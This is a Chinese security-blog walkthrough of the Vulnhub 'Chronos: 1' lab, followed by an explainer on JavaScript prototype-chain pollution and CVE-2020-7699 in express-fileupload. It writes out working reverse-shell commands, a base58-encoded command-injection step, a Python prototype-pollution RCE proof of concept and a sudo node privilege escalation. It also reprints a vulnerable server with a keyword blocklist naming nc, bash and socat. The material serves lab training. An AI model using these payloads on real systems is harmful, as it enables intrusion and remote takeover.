freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub打靶 - JavaScript基于原型编程思路与原型链污染原理
2022-11-22 21:07:01

本次主要说明 JavaScript 中原型链污染漏洞的原理与利用,但直接介绍该漏洞过于无趣,所以以一个靶机的渗透过程为引,其中便存在着原型链污染的漏洞,之后再详细介绍 JavaScript 中原型链的概念,以及原型链漏洞的原理及利用

基本信息

靶机网址:Chronos: 1

攻击机KALI:10.21.194.254

靶机 :10.21.193.155

难度

Medium

渗透测试及思路

  • 主机发现:netdiscover该工具与之前使用的arp-scan等工具原理一致,都是发送arp广播数据包:netdiscover -r 10.21.0.0/16对于该工具,若实际网络的子网掩码为24位,在使用的时候指定的子网掩码建议在实际的基础上8也就是24 - 8 = 16这样对最终的发现结果更好

    但要注意要为8的倍数

    1668862077_6378d07d659cfed1f61af.png!small?1668862073125

    由于靶机放在了VirtualBox中,而kaliVMware中,故使用桥接,但本身连着学校的wifi,所以二层探测会探测出大量主机,VirtualBox特有的标识PCS Systemtechnik GmbH判断即可

    1668862088_6378d088cfbb615144bb1.png!small?1668862085358

  • 确定靶机IP后,继续利用nmap进行全端口扫描nmap -p- 10.21.193.155

    1668862096_6378d0904b36c1249c5f8.png!small?1668862091969

    经探测发现其开启了22 80 8000三个端口

  • 接下来再探测器端口的服务nmap -p22,80,8000 -sV 10.21.193.155

    1668862103_6378d0973339c3eca52ff.png!small?1668862098837

    经探测发现其开放端口对应的服务分别为:

    • 22-ssh-OpenSSH
    • 80-httpd-Apache httpd 2.4.29
    • 8000-httpd-Node.js Express framework
  • 通过浏览器访问80

    对于 web 网站,若当前页面中感觉没有什么可利用的东西,一般有两种常规思路:

    • 通过dissearch等工具遍历其目录,看看有没有什么隐藏的路径

      1668862107_6378d09b99fefd4411337.png!small?1668862103288

    • 通过CTRL + u查看其网页源码,看看有没有一些隐藏域、隐藏表单、隐藏的接口、加载的脚本等隐藏的页面元素

    在该页面的HTML源码中,看到了一段包含在<script>标签中的脚本,但将这段代码复制到本地进行查看的时候,会发现其中的变量、函数名等都进行了某种编码,导致直接阅读可读性不强,所以一般要对该代码进行一定程度的整理还原

    1668862112_6378d0a0b7e545cc3d97d.png!small?1668862108308

  • JavaScript代码还原

    使用在线工具cyberchef(也可以clone到本地使用)

    cyberchef是一种可以针对计算机各种数据类型来做各种的编码、解码、还原、解密、解压等等操作的工具

    1668862119_6378d0a7c0131baa6ab66.png!small?1668862115284

    首先将刚刚的js代码放入Input窗口,并在左边的选项卡中选择用于优化、美化JavaScript代码的JavaScript Beautiful模块

    美化后,可以看到,虽然对其结构进行了优化,但其变量、函数名等还是经过某种编码编码过的,没法优化

    但是在其中,可以一眼看见一段明文的URL链接

    1668862126_6378d0ae9fc26ddaa2aad.png!small?1668862122337

    可以看出URL的域名部分为chronos.local且 端口为8000,所以有理由怀疑该域名就指向了这台靶机,但直接访问是会被拒绝的:

    1668862132_6378d0b4b5237c5fba1a6.png!small?1668862128298

    所以可以在kali/etc/hosts文件中建立一条域名与IP的映射关系记录,之后记得用PING检查一下

    1668862136_6378d0b8cab6a13733269.png!small?1668862132366

    1668862140_6378d0bc8d4555198e4b5.png!small?1668862136441

  • 刷新当前网站

    建立好映射关系后,刷新当前网站,可以看到当前网站显示出了当前的时间(当前网站通过刚刚的域名对应关系,到8000端口处,获得到了当前的时间,并进行显示)

  • 通过Burp代理观察整个报文的交互过程

    启动浏览器代理,并由Burp进行抓包,刷新该页面,放开截断即可,我们的目的是在HTTP history观察在加载该页面过程中发出了哪些请求以及响应流量

    1668862147_6378d0c3b2efe689b3b55.png!small?1668862143244

    (忽略和google有关的Host

    1668862152_6378d0c8b3eb6d111ae24.png!small?1668862148324

    可以看出网页会通过GET向上面得到的那一串URL发送请求,服务端会回复给前端当前的时间,再由前端进行显示

    也可通过 站点地图 (Site map)查看

    1668862157_6378d0cd7fb7a1a3173ab.png!small?1668862153122

    所以接下来将该URL送到Repeator进行重放尝试

  • Repeator重放尝试

    为什么当前向服务端发送该 URL 样子的请求,服务端就会返回当前时间,修改掉format后的参数,服务端是否还会显示一样的时间呢?

    所以为了验证该想法,更改format后面的一串参数再次发送请求,发现服务器端不再正常响应了,所以该字符串至关重要,此处歪打正着,随便删了点字符串忘了加与HTTP/1.1之间的空格了,结果在报错信息中正好看见了使用的是base58的编码

    1668862162_6378d0d2e9cbb8b33c4fa.png!small?1668862158714

    若正常通过观察,可能会怀疑其是通过base64URL进行的编码,所以尝试解码(最常见)

    可以使用CyberChef中的magic模块进行解码的尝试,当我们不确定目标字符串的编码方式时,可以使用该模块自动帮我们分析当前字符串可能的编码方式:

    1668862168_6378d0d8870cff110dbe9.png!small

    经过magic模块分析,当前字符串可能是通过base58的方式进行的编码,编码前的原始字符串为:'+Today is %A, %B %d, %Y %H:%M:%S.'

    1668862233_6378d1199dbf9df0fa6b4.png!small

    很明显感觉到这个是time的一个系统调用中所采取的格式,并且通过date命令,也可以解析该格式

    1668862245_6378d125ee53f3d646c55.png!small?1668862241507

    所以有理由怀疑此处可能是调用了操作系统的指令(也有可能是在代码中使用了系统函数),若是使用了操作系统的date指令,则是否存在命令注入的可能

  • 尝试命令注入

    此时突然断网了。。。。所以kali机的IP切换为10.21.204.212靶机没变

    可利用 以下连接符号

    • |
    • ||(前命令执行错误才会执行后续命令)
    • ;
    • &&(前命令正确才会执行后续命令)

    && ls进行base58的编码,并放入GET包中继续中发送,果然返回了ls的结果,证明命令注入存在

    于是又想到了反弹shell,先通过&& ls /bin判断目标端bin目录下取确认存在nc指令,由于其版本的不确定,所以可能存在无法使用-e参数的情况,但要先确认nc是否可用

    kalinc -nvlp 4444

    1668862252_6378d12cdcb72cfa823c3.png!small?1668862248564

    并用base58编码&& nc 10.21.204.212:4444尝试是否可以正常连接,发现nc可以建立连接,但再次测试发现其不存在-e参数,所以还要通过nc串联在实现

    && nc 10.21.204.212 4444 | /bin/bash | nc 10.21.204.212 5555

    1668862257_6378d1314b2fc78c96dd7.png!small?1668862252905

    成功

  • 在目标服务器中信息收集

    连接shell后,当前所处的路径应该就是web应用所在的路径,经查看为:/opt/chronos

    cat /etc/passwd发现一个名为imera的可登录用户账号,尝试访问其家目录/home/imera发现其中存在一个user.txt文件,但是并没有其访问权限,只有该文件的所有者imera才可以访问该文件,所以要尝试进行权限提升

    1668862261_6378d1352faa91898d3d4.png!small?1668862256801

    1668862264_6378d1388a3604862eb67.png!small?1668862259946

    首先用id查看当前用户身份及权限

    1668862269_6378d13d1ea3e35937b24.png!small?1668862264575

  • 本地地权

    Linux中常规的提权思路基于以下三种:

    • Linux内核漏洞

      uname -a发现其内核版本为4.15,但并没有找到关于该内核的提权漏洞

      1668862273_6378d141af6963224d768.png!small?1668862269134

    • SUID权限管理不严格

      也没有找到具有s位的可利用文件

    • 利用sudo -l配置漏洞

      很遗憾当前用户没有sudo权限

    至此,当前本地提权这个思路失败,所以要再次进行信息收集

  • 再次信息收集

    渗透测试思路源于大量的信息收集

    再次回到当前用户的家目录,看到其后端的web应用程序是建立在JavaScript之上的(.js文件),与常规认知不同,使用JavaScript可以借助Node.js利用 谷歌开发的v8脚本引擎,非常高效的开发运行服务端web程序

    Node.js最初由个人开发者开发,后期托管于OpenJS Foundation进行维护,使用Node.js开发的web应用程序,一般都是基于一些已有的 框架/库(Node.js提供的模块) 进行的

    常见的库有 :ExpressSocket.ioCors等,其中针对web开发最常用的就是Express.js

  • 审计与当前web程序有关的代码

    一般在使用Node.js开发的应用中,会有一个.json文件(package.json)用于包含当前开发所需要的模块、项目中的配置信息等

    所以先来查看package.json(其中bs58就是用来进行base58的编码与解码的)

    1668862278_6378d1467635881731da9.png!small?1668862273966

    再来看app.js代码

    const express = require('express');
    const { exec } = require("child_process");
    const bs58 = require('bs58'); // bs58 负责进行 base58 的加解码
    const app = express();
    
    const port = 8000;
    
    const cors = require('cors');
    
    app.use(cors());
    
    app.get('/', (req,res) =>{
      
        res.sendFile("/var/www/html/index.html");
    });
    
    app.get('/date', (req, res) => {
    
        var agent = req.headers['user-agent'];
        var cmd = 'date '; // 调用 date 系统指令
        const format = req.query.format;
        const bytes = bs58.decode(format);
        var decoded = bytes.toString();
        var concat = cmd.concat(decoded); // 直接对编码后的数据近些拼接,并没有过滤
        if (agent === 'Chronos')  // 会对收到报文的 user-agent 进行识别
    		{
            if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) 
    				{
    						// 此处虽然对特殊的字符进行了识别,但是并未给出具体有效的过滤措施
    						// 只是报了一个提示,并未阻止其执行
    
                res.send("Something went wrong");
            }
            exec(concat, (error, stdout, stderr) => {
                if (error) 
    						{
                    console.log(`error: ${error.message}`);
                    return;
                }
                if (stderr) 
    						{
                    console.log(`stderr: ${stderr}`);
                    return;
                }
                res.send(stdout);
            });
        }
        else{
    
            res.send("Permission Denied");
        }
    })
    
    app.listen(port,() => {
    
        console.log(`Server running at ${port}`);
    
    })
    

    可以看出其中对从GET包中获取的参数没有进行任何的过滤直接拼接执行,所以才导致了刚刚获取shell的操作

    另外看出会通过请求包头中的User-agent中是否为Chronos来确认其权限,不是Chronos则会提示Permission denied(而最初看到的那一堆js代码就负责从发出的HTTP GET包中将其UA改为Chronos

    但分析下来发现,当前app.js中没有提权的途径,所以还要继续做信息收集

  • 继续信息收集

    /opt目录下,发现了两个版本的chronos应用,除了刚刚看的,还有一个chronos-v2目录

    1668862285_6378d14db4581d584aea5.png!small?1668862281072

    进入该路径后,发现这时另外一个web应用,并看到其中有一个名为backend的后端目录,再往里走,看到了四个文件

    • node_module
    • package.json
    • package-lock.json
    • server.js

    同样先查看package.json看到其中指明了服务端主程序为server.js等信息,还有一个很重要的信息express-fileupload:1.1.7-alpha.3怀疑是文件上传功能

    1668862289_6378d151da41b340f30d3.png!small?1668862285501

    查看server.js

    const express = require('express');
    const fileupload = require("express-fileupload");
    const http = require('http')
    
    const app = express();
    
    app.use(fileupload({ parseNested: true }));
    
    app.set('view engine', 'ejs');
    app.set('views', "/opt/chronos-v2/frontend/pages");
    
    app.get('/', (req, res) => {
       res.render('index')
    });
    
    const server = http.Server(app);
    const addr = "127.0.0.1" // 可以看出该模块要从本地访问,这也就是之前扫描器没有扫到的原因
    const port = 8080;
    server.listen(port, addr, () => {
       console.log('Server listening on ' + addr + ' port ' + port);
    });
    

    但是在该代码中并没有找到明显的问题,所以问题还是回到了最有可能出现问题的上传模块express-fileupload

  • express-fileupload的利用

    该模块要利用必须开启parseNested,从上面的代码中可以看出确实如此parseNested: true

    所以尝试是否存在 JavaScript Prototype污染攻击 ,此处的原理会在另外一篇文章中介绍,此处直接拿来一个用于反弹shellPoc来利用即可:

    Real-world JS - 1

    Poc中的源目IP进行修改,从刚刚阅读server.js该上传模块要访问的是 本地的8080端口,所以记得将post请求的地址和端口也改了

    import requests
    
    cmd = 'bash -c "bash -i &> /dev/tcp/10.21.204.212/7777 0>&1"'
    
    # pollute
    requests.post('<http://127.0.0.1:8080>', files = {'__proto__.outputFunctionName': (
        None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
    
    # execute command
    requests.get('<http://127.0.0.1:8080>')
    

    接下来只需在 kali 机上起一个http.server,再在靶机上通过wget下载该Poc进行执行即可反弹shell

    1668862296_6378d158f0d36775fbf35.png!small

    可以看到,这个就是刚刚的imera用户,顺利从其加目录下的user.txt中拿到第一个flag

    1668862316_6378d16c663a979a6a4da.png!small?1668862311996

    由于最后的flag/root目录下,所以我们最终要想办法访问到/root

  • sudo -lnode配合反弹shell

    通过sudo -l发现node命令可以在无需密码的情况下通过root的权限去跑,所以接下来看看有没有通过node命令反弹shell的方式

    1668862322_6378d172208f50adb75bd.png!small?1668862317646

    node反弹shell

    sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'

    1668862326_6378d1760d2fdc3295804.png!small?1668862321587

    至此两个shell就都获得了

    当然这里两个flag都是base64编码后的结果,至于其解码后是什么,就由大家探索吧

JavaScript基于原型编程思路与原型链污染

由于我也对JavaScript的底层思想或架构不很熟悉,所以此处仅说明其原理以及含义,至于为什么为什么这样设计,说是这样设计有哪些具体的好处,恕难说明

基于原型的编程

基于原型的编程是一种面向对象的编程风格,其中继承 是通过重用 作为原型的现有对象的过程来执行的

在基于原型的语言中,是没有明确的类的( 虽然ECMAScript 6后提供class关键字,但其更像是一种语法糖,依旧是通过原型实现 )。对象通过原型属性直接从其他对象继承

与传统面向对象语言的区别

C++等传统的面向对象语言不同,对于C++来说,声明一个类后,其中带有默认构造函数用于实例化时初始化这个类,但在基于原型的语言中是没有明确的类的,以JavaScript为例,如果在JavaScript中想要定义一个类,需要以定义 “构造函数” 的方式定义

比如要想定义一个Person类,则js中的定义方式为:

function Person()
{
		this.age = 18
}

此时就相当于通过定义Person类的构造函数Person()的方式定义了这个类,接下来要想实例化这个类则new Person()

但与传统的面向对象编程风格一致,类中不能只有属性(this.age),还应存在 方法( 函数 ),但是由于js中的类是通过构造函数实现的,若是直接将函数定义在构造函数中:

function Person()
{
		this.age = 18

		this.say = function() {
					
					console.log(this.age)	
		}
}

会导致每次实例化该对象时,都会将其中定义的函数执行一次(本例中的say方法)( 类比于将一个函数直接定义在C++中的构造函数中,并实例化该对象)

为了解决这个问题js有了自己的解决思路:prototype

prototype

prototypeJavaScript中用于调用原型属性 (不理解先跳过)

若想创建类的时候创建一次say方法,就需要使用 原型(prototype)( 说白了就类似于C++中类内函数只定义一次,之后需要的时候才会调用执行 )

对于上述例子,若想让Person()这个类,具备say这个方法,又不必每次实例化一个对象都执行该方法,就要这样定义:

function Person()
{
		this.age = 18
}

Person.prototype.say = function say(){
				
			console.log(this.age)	
}

此时便可在实例化对象后通过实例化的对象调用该方法

let Sam = new Person()
Sam.say()

那为什么可以这么定义呢?首先有这样一个前提JavaScript中任意 “类”( 构造函数 )都有一个内置属性这个内置属性就是prototype也叫做 显示原型

该怎么理解?

再以C++为例,再次明确prototype 的出现是为了解决不应将方法定义在构造函数中的这个问题,该怎么解决这个问题呢?

JavaScript用了一个继承的方式解决了这个问题,这里又有一个前提,就像Linux中所有进程都是由Init这个父进程来的一样,JavaScript中也存在一个最终原型Object.prototypeObject.prototype的原型就是null了)

起始Person类(函数)是继承于Person.prototype的,而这个Person.prototype以当前函数作为构造函数构造出来的对象的原型对象,可以自己指定,若没有指定那么他就是空的Object.prototype

prototype是一个指针,指向一个对象,这个对象的用途就是包含所有实例共享的属性和方法(我们把这个对象叫做原型对象)。原型对象也有一个属性,叫做constructor,这个属性包含了一个指针,指回原构造函数

但注意,上面说的prototype是函数的属性,并不是实例化对象的属性,比如let Sam = new Person()Sam这个实例化对象中是没有prototype属性的

但是实例化对象也有访问该原型对象的需求,为了这个需求又引入了__proto__

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

proto

既然前面有显示原型,那么就一定存在相反的 隐式原型

所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型)

Person类实例化出来的Sam对象,可以通过__proto__属性来访问Person类的原型对象,也就是说:

Sam.__proto__ === Person.prototypetrue

一个对象的__proto__属性,指向这个对象所属的类的prototype属性

总结

每个构造函数都有一个原型对象,原型对象都包含一个指向构造函数的指针,而实例都包含一个指向原型对象的内部指针。那么假如我们让原型对象等于另一个类型的实例,结果会怎样?显然,此时的原型对象将包含一个指向另一个原型的指针,相应地,另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立。如此层层递进,就构成了实例与原型的链条。这就是所谓的原型链的基本概念。—— 摘自《javascript高级程序设计

听起来似懂非懂?继续往下看

JavaScript 原型链继承

正如刚刚所说,由于所有的类对象在实例化的时候都会拥有prototype中的属性和方法,并可以通过__proto__访问其中的属性和方法,这也正式JavaScript用来实现继承的机制

刚刚在介绍prototype时,其继承的是Object( 原型链的尽头Object.prototype) ,但这个继承是可以指定的

function Animal() {

		this.eat = 'meat'
		this.age = 100
} 

function Person() {

		this.age = 18
}

Person.prototype = new Animal()

let Sam = new Person()

console.log('${Sam.eat} ${Sam.age}')

此时Personprototype是指向Animal类实例化出的对象,也就是说Animal这个类实例化出的对象是以 Person() 作为构造函数实例化对象的原型对象,所以最终输出的为 :meat 18

具体来说,在输出${Sam.eat}时:

  • 首先会在由Person实例化出的对象Sam中寻找eat属性
  • 找不到的话,就会到Sam.__proto__中寻找该属性,因为Person类的prototype指向的是Animal,所以就会到Animal类的原型中寻找该值
  • 若再找不到,则继续向上寻找至Sam.__proto__.__proto__
  • 直到遍历到 原型链的顶端,也就是null

那么此时对这个图,应该就比较好理解了:

1668862335_6378d17f35cd79ac6711b.png!small?1668862330843

原型链污染

起始所谓的原型链污染,起始最主要的问题就处在原型链顶端的下一个类,也就是Object类,若该类中的某些属性被改、或被赋予了新的属性,那么新创建的类将会继承自该类,也就会拿到新增加的值

引用 p神 的一个例子

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

此时zoo.bar = 2

应用

以打靶过程中存在的原型链污染漏洞为例:

其中最关键的一步:反弹imear用户的shell,原型链污染便是最重要的环节之一

该靶场中存在原型链污染的代码为

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1" // 可以看出该模块要从本地访问,这也就是之前扫描器没有扫到的原因
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

漏洞简介

该漏洞编号为:CVE-2020-7699NodeJS模块代码注入

引发该漏洞的为Nodejs中的express-fileupload模块,该模块在1.1.8版本之前存在原型链污染漏洞,后发现后被快速修复,但是此处想要引发该漏洞需要一定的基础条件:

引发该漏洞的基础条件:parseNested: true

通过该漏洞触发远程REC所需进一步的条件:'view engine', 'ejs'使用模板引擎 EJS(嵌入式JavaScript模板)。

好巧不巧,上述靶机的代码中两个条件全满足了(若不想了解接下来的原理,可以到刚刚提到的文章中直接获取RCEPoc即可)

漏洞原理及利用

该漏洞中触发原型链污染的位置就在parseNested模块中的porcessNested方法下 ,该方法会将上传的JSON数据展开为 嵌套对象

例如用一个最常举的例子:

传入数据:{"a.b.c" : true}

内部展开数据:{"a" : {"b" : {"c" : true}}}

这样看并没有什么问题,但如果结合之前原型链的知识,稍作改动

传入数据:{"__proto__.polluted" : true}

内部展开的数据:{"__proto__" : {"polluted" : true}}(调用processNested后)

此时就会为当前函数的prototype对象添加一个polluted属性,接下来所有继承自该prototype的方法都将被添加该属性,如果恰巧是Object,那么所有当前默认继承的函数都会被添加上该属性,而且既然能添加,也就一样存在着修改的可能

let some_obj = JSON.parse(`{"__proto__.polluted": true}`);
processNested(some_obj);

console.log(polluted); // true!

要注意,这个被改变/新增属性的过程,是在porcessNested函数中处理过程中被赋值的

porcessNested函数原型

function processNested(data){
    if (!data || data.length < 1) return {};

    let d = {},
        keys = Object.keys(data);

    for (let i = 0; i < keys.length; i++) {
        let key = keys[i],
            value = data[key],
            current = d,
            keyParts = key
        .replace(new RegExp(/\\[/g), '.')
        .replace(new RegExp(/\\]/g), '')
        .split('.');

        for (let index = 0; index < keyParts.length; index++){
            let k = keyParts[index];
            if (index >= keyParts.length - 1){
                current[k] = value;
            } else {
                if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
                current = current[k]; // 关注此处
            }
        }
    }

    return d;
};

那么改入传递构造好的原型链呢?

busboy.on('finish', () => {
    debugLog(options, `Busboy finished parsing request.`);
    if (options.parseNested) {
        req.body = processNested(req.body);
        req.files = processNested(req.files);
    }

    if (!req[waitFlushProperty]) return next();
    Promise.all(req[waitFlushProperty])
        .then(() => {
        delete req[waitFlushProperty];
        next();
    }).catch(err => {
        delete req[waitFlushProperty];
        debugLog(options, `Error while waiting files flush: ${err}`);
        next(err);
    });
});

可以看到

req.body = processNested(req.body);
req.files = processNested(req.files);

这两处调用了存在漏洞的processNested函数,其传入的参数分别为:

  • req.bodynodejs解析的post请求体
  • req.files上传文件的信息

此处利用req.files进行传参,只需要将函数的名称构造为一个原型链即可,这里清楚受害者toString函数,该方法属于Object对象,由于所有的对象都继承了Object的对象实例,因此所有的实例对象都可以使用该方法,同样若该方法被改为一个不是函数的其他对象,那么所有调用该方法的位置都会出错

此时很简单,只需将uploadname改为__proto__.toString即可,之后由于processNested的解析,会将 将其赋值为一个不是函数的对象,所以所有访使用该函数的位置都会报错

此时传递的JSON包的格式为:

1668862346_6378d18a93434b44196c2.png!small?1668862342593

(截图来自 https://blog.p6.is/Real-World-JS-1/#express-fileupload

所以解析完就会变为

{}[__proto__][toString] = { ...... }

此时toString将不再是一个函数

参考文章

NodeJS module downloaded 7M times lets hackers inject code

Real-world JS - 1

深入理解 JavaScript Prototype 污染攻击

浅析javascript原型链污染攻击

CVE-2020-7699漏洞分析

js中__proto__和prototype的区别和关系?

详解prototype与__proto__

本文作者:, 转载请注明来自FreeBuf.COM

# 渗透测试 # web安全
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦